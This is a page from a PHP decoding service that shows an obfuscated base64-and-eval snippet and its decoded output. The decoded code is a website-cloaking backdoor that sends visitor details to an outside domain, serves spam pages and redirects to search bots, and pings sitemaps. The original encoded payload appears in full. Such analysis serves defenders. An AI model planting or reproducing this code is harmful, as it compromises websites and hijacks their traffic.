Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a =base64_decode('JHhtbG5hbWUgPSAnJTc0JTZCJTczJTY4JTc5JTc5JTZCJTYxJTJFJTc5JTY1JTY4..

Decoded Output download

$xmlname = '%74%6B%73%68%79%79%6B%61%2E%79%65%68%6F%79%79%72%2E%67%62%63';
$http_web = 'http';
if (is_https()) {
    $http = 'https';
} else {
    $http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
    $duri_tmp = '/';
}
$duri = $duri_tmp;
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        $duri = $_SERVER['REQUEST_URI'];
    } else {
        if (isset($_SERVER['argv'])) {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
        } else {
            $duri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        }
    }
    return $duri;
}
$goweb = 'gxfullxn.lrublle.top';
function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}
$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $lang;
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = $urlshang;
}
$web1 = $http_web . ':/'.'/' . $goweb . '/indexnew.p';
$web = $web1.'hp?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($web);
if (!strstr($html_content, 'nobotuseragent')) {
    if (strstr($html_content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $html_content = str_replace("okhtmlgetcontent", '', $html_content);
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'okxmlgetcontent')){
        $html_content = str_replace("okxmlgetcontent", '', $html_content);
        @header("Content-type: text/xml");
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'pingxmlgetcontent')){
        $html_content = str_replace("pingxmlgetcontent", '', $html_content);
        @header("Content-type: text/html; charset=utf-8");
        echo ping_sitemap($html_content);
        exit();
    }else if (strstr($html_content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (strstr($html_content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if (strstr($html_content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page", '', $html_content);
        header('Location: ' . $html_content);
        exit();
    }
}
function ping_sitemap($url){
    $url_arr = explode("
", trim($url));
    $return_str = '';
    foreach($url_arr as $pingUrl){
        $pingRes = doutdo($pingUrl);
        $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
        $return_str .= $pingUrl . '-- ' . $ok . '<br>';
    }
    return $return_str;
}
function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return true;
    } else {
        return false;
    }
}
function doutdo($url)
{
    $file_contents= '';
    if (!$file_contents) {
        $file_contents = @file_get_contents($url);
    }
    return $file_contents;
}/* blog B132 */

Did this file decode correctly?

Original Code

<?php
$a =base64_decode('JHhtbG5hbWUgPSAnJTc0JTZCJTczJTY4JTc5JTc5JTZCJTYxJTJFJTc5JTY1JTY4JTZGJTc5JTc5JTcyJTJFJTY3JTYyJTYzJzsNCiRodHRwX3dlYiA9ICdodHRwJzsNCmlmIChpc19odHRwcygpKSB7DQogICAgJGh0dHAgPSAnaHR0cHMnOw0KfSBlbHNlIHsNCiAgICAkaHR0cCA9ICdodHRwJzsNCn0NCiRkdXJpX3RtcCA9IGRyZXF1ZXN0X3VyaSgpOw0KaWYgKCRkdXJpX3RtcCA9PSAnJyl7DQogICAgJGR1cmlfdG1wID0gJy8nOw0KfQ0KJGR1cmkgPSAkZHVyaV90bXA7DQpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpIHsNCiAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ2FyZ3YnXSkpIHsNCiAgICAgICAgICAgICRkdXJpID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAnPycgLiAkX1NFUlZFUlsnYXJndiddWzBdOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGR1cmkgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICc/JyAuICRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJGR1cmk7DQp9DQokZ293ZWIgPSAnZ3hmdWxseG4ubHJ1YmxsZS50b3AnOw0KZnVuY3Rpb24gaXNfaHR0cHMoKQ0Kew0KICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUFMnXSkgIT09ICdvZmYnKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9GUk9OVF9FTkRfSFRUUFMnXSkgIT09ICdvZmYnKSB7DQogICAgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiRsYW5nID0gQCRfU0VSVkVSWyJIVFRQX0FDQ0VQVF9MQU5HVUFHRSJdOw0KJGxhbmcgPSAkbGFuZzsNCiR1cmxzaGFuZyA9ICcnOw0KaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpIHsNCiAgICAkdXJsc2hhbmcgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQogICAgJHVybHNoYW5nID0gJHVybHNoYW5nOw0KfQ0KJHdlYjEgPSAkaHR0cF93ZWIgLiAnOi8nLicvJyAuICRnb3dlYiAuICcvaW5kZXhuZXcucCc7DQokd2ViID0gJHdlYjEuJ2hwP3dlYj0nIC4gJGhvc3QgLiAnJnp6PScgLiBkaXNib3QoKSAuICcmdXJpPScgLiAkZHVyaSAuICcmdXJsc2hhbmc9JyAuICR1cmxzaGFuZyAuICcmaHR0cD0nIC4gJGh0dHAgLiAnJmxhbmc9JyAuICRsYW5nOw0KJGh0bWxfY29udGVudCA9IGRvdXRkbygkd2ViKTsNCmlmICghc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdub2JvdHVzZXJhZ2VudCcpKSB7DQogICAgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2todG1sZ2V0Y29udGVudCcpKSB7DQogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgib2todG1sZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZWNobyAkaHRtbF9jb250ZW50Ow0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdva3htbGdldGNvbnRlbnQnKSl7DQogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgib2t4bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOw0KICAgICAgICBAaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQveG1sIik7DQogICAgICAgIGVjaG8gJGh0bWxfY29udGVudDsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmKHN0cnN0cigkaHRtbF9jb250ZW50LCAncGluZ3htbGdldGNvbnRlbnQnKSl7DQogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgicGluZ3htbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQogICAgICAgIGVjaG8gcGluZ19zaXRlbWFwKCRodG1sX2NvbnRlbnQpOw0KICAgICAgICBleGl0KCk7DQogICAgfWVsc2UgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDUwMHBhZ2UnKSkgew0KICAgICAgICBAaGVhZGVyKCdIVFRQLzEuMSA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yJyk7DQogICAgICAgIGV4aXQoKTsNCiAgICB9ZWxzZSBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NDA0cGFnZScpKSB7DQogICAgICAgIEBoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH1lbHNlIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQzMDFwYWdlJykpIHsNCiAgICAgICAgQGhlYWRlcignSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5Jyk7DQogICAgICAgICRodG1sX2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgiZ2V0Y29udGVudDMwMXBhZ2UiLCAnJywgJGh0bWxfY29udGVudCk7DQogICAgICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkaHRtbF9jb250ZW50KTsNCiAgICAgICAgZXhpdCgpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIHBpbmdfc2l0ZW1hcCgkdXJsKXsNCiAgICAkdXJsX2FyciA9IGV4cGxvZGUoIlxyXG4iLCB0cmltKCR1cmwpKTsNCiAgICAkcmV0dXJuX3N0ciA9ICcnOw0KICAgIGZvcmVhY2goJHVybF9hcnIgYXMgJHBpbmdVcmwpew0KICAgICAgICAkcGluZ1JlcyA9IGRvdXRkbygkcGluZ1VybCk7DQogICAgICAgICRvayA9IChzdHJwb3MoJHBpbmdSZXMsICdTaXRlbWFwIE5vdGlmaWNhdGlvbiBSZWNlaXZlZCcpICE9PSBmYWxzZSkgPyAncGluZ29rJyA6ICdlcnJvcic7DQogICAgICAgICRyZXR1cm5fc3RyIC49ICRwaW5nVXJsIC4gJy0tICcgLiAkb2sgLiAnPGJyPic7DQogICAgfQ0KICAgIHJldHVybiAkcmV0dXJuX3N0cjsNCn0NCmZ1bmN0aW9uIGRpc2JvdCgpDQp7DQogICAgJHVBZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCiAgICBpZiAoc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlYm90JykgfHwgc3RyaXN0cigkdUFnZW50LCAnYmluZycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ3lhaG9vJykgfHwgc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlJykgfHwgc3RyaXN0cigkdUFnZW50LCAnR29vZ2xlYm90JykgfHwgc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlYm90JykpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmZ1bmN0aW9uIGRvdXRkbygkdXJsKQ0Kew0KICAgICRmaWxlX2NvbnRlbnRzPSAnJzsNCiAgICBpZiAoISRmaWxlX2NvbnRlbnRzKSB7DQogICAgICAgICRmaWxlX2NvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVfY29udGVudHM7DQp9LyogYmxvZyBCMTMyICov');
eval($a);
?>

Function Calls

base64_decode 1

Variables

$a $xmlname = '%74%6B%73%68%79%79%6B%61%2E%79%65%68%6F%79%79%72..

Stats

MD5 b51681d15a8f16501fff2133544fb340
Eval Count 1
Decode Time 55 ms